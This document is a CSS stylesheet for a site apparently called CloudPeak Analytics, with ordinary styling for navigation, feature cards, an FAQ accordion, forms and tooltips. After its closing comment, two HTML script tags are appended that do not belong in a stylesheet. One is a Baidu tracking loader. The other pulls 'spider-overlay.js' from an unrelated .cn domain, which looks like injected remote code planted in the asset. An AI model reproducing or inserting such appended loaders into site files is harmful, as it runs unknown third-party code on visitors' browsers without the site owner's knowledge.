﻿/* ============================================
   CloudPeak Analytics - Main Stylesheet
   ============================================ */

/* --- Base Smooth Scrolling --- */
html {
    scroll-behavior: smooth;
}

/* --- Navbar Scroll Effect --- */
#navbar.scrolled {
    background: rgba(15, 23, 42, 0.92);
    backdrop-filter: blur(16px);
    -webkit-backdrop-filter: blur(16px);
    box-shadow: 0 4px 30px rgba(0, 0, 0, 0.3);
    border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}

/* --- Feature Card Hover Effects --- */
.feature-card {
    position: relative;
    overflow: hidden;
    transition: all 0.35s cubic-bezier(0.4, 0, 0.2, 1);
}

.feature-card:hover {
    transform: translateY(-6px);
    border-color: #e2e8f0;
}

.feature-card:hover .absolute.top-0 {
    height: 4px;
}

.feature-card .absolute.top-0 {
    transition: height 0.3s ease;
}

/* --- Stats Counter Animation --- */
.counter {
    display: inline-block;
    font-variant-numeric: tabular-nums;
    letter-spacing: -0.02em;
}

/* --- FAQ Accordion --- */
.faq-item {
    transition: all 0.3s ease;
}

.faq-item.active {
    background: #ffffff;
    border-color: #cbd5e1;
    box-shadow: 0 4px 24px rgba(0, 0, 0, 0.06);
}

.faq-toggle .fa-chevron-down {
    transition: transform 0.35s cubic-bezier(0.4, 0, 0.2, 1);
}

.faq-item.active .fa-chevron-down {
    transform: rotate(180deg);
    color: #3b82f6;
}

.faq-content {
    overflow: hidden;
    max-height: 0;
    opacity: 0;
    transition: max-height 0.4s cubic-bezier(0.4, 0, 0.2, 1),
                opacity 0.35s ease,
                padding 0.3s ease;
}

.faq-item.active .faq-content {
    max-height: 500px;
    opacity: 1;
}

/* --- Mobile Menu Animation --- */
#mobileMenu {
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}

#mobileMenu.open {
    max-height: 500px;
}

/* --- Button Pulse (Contact Form) --- */
@keyframes subtlePulse {
    0%, 100% { box-shadow: 0 10px 25px -5px rgba(59, 130, 246, 0.25); }
    50% { box-shadow: 0 10px 30px -3px rgba(59, 130, 246, 0.4); }
}

button[type="submit"] {
    animation: subtlePulse 3s ease-in-out infinite;
}

/* --- Testimonial Card --- */
.testimonial-card:hover {
    transform: translateY(-4px);
}

/* --- Form Focus Styles --- */
input:focus, textarea:focus, select:focus {
    border-color: #3b82f6 !important;
    box-shadow: 0 0 0 4px rgba(59, 130, 246, 0.1) !important;
}

/* --- Scroll Reveal Animation Base --- */
.reveal {
    opacity: 0;
    transform: translateY(30px);
    transition: opacity 0.8s ease, transform 0.8s ease;
}

.reveal.visible {
    opacity: 1;
    transform: translateY(0);
}

/* --- Gradient Text Utility --- */
.gradient-text {
    background: linear-gradient(135deg, #3b82f6, #06b6d4);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
}

/* --- Custom Scrollbar --- */
::-webkit-scrollbar {
    width: 8px;
}

::-webkit-scrollbar-track {
    background: #f1f5f9;
}

::-webkit-scrollbar-thumb {
    background: #94a3b8;
    border-radius: 4px;
}

::-webkit-scrollbar-thumb:hover {
    background: #64748b;
}

/* --- Selection Color --- */
::selection {
    background: rgba(59, 130, 246, 0.2);
    color: #1e293b;
}

/* --- Loading Spinner (for form submission) --- */
@keyframes spin {
    to { transform: rotate(360deg); }
}

.fa-spinner {
    animation: spin 0.8s linear infinite;
}

/* --- Tooltip base --- */
[data-tooltip] {
    position: relative;
    cursor: help;
}

[data-tooltip]::after {
    content: attr(data-tooltip);
    position: absolute;
    bottom: 100%;
    left: 50%;
    transform: translateX(-50%) translateY(-8px);
    background: #1e293b;
    color: #fff;
    padding: 6px 12px;
    border-radius: 8px;
    font-size: 12px;
    white-space: nowrap;
    opacity: 0;
    pointer-events: none;
    transition: opacity 0.2s ease;
}

[data-tooltip]:hover::after {
    opacity: 1;
}

/* ========================================= */
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

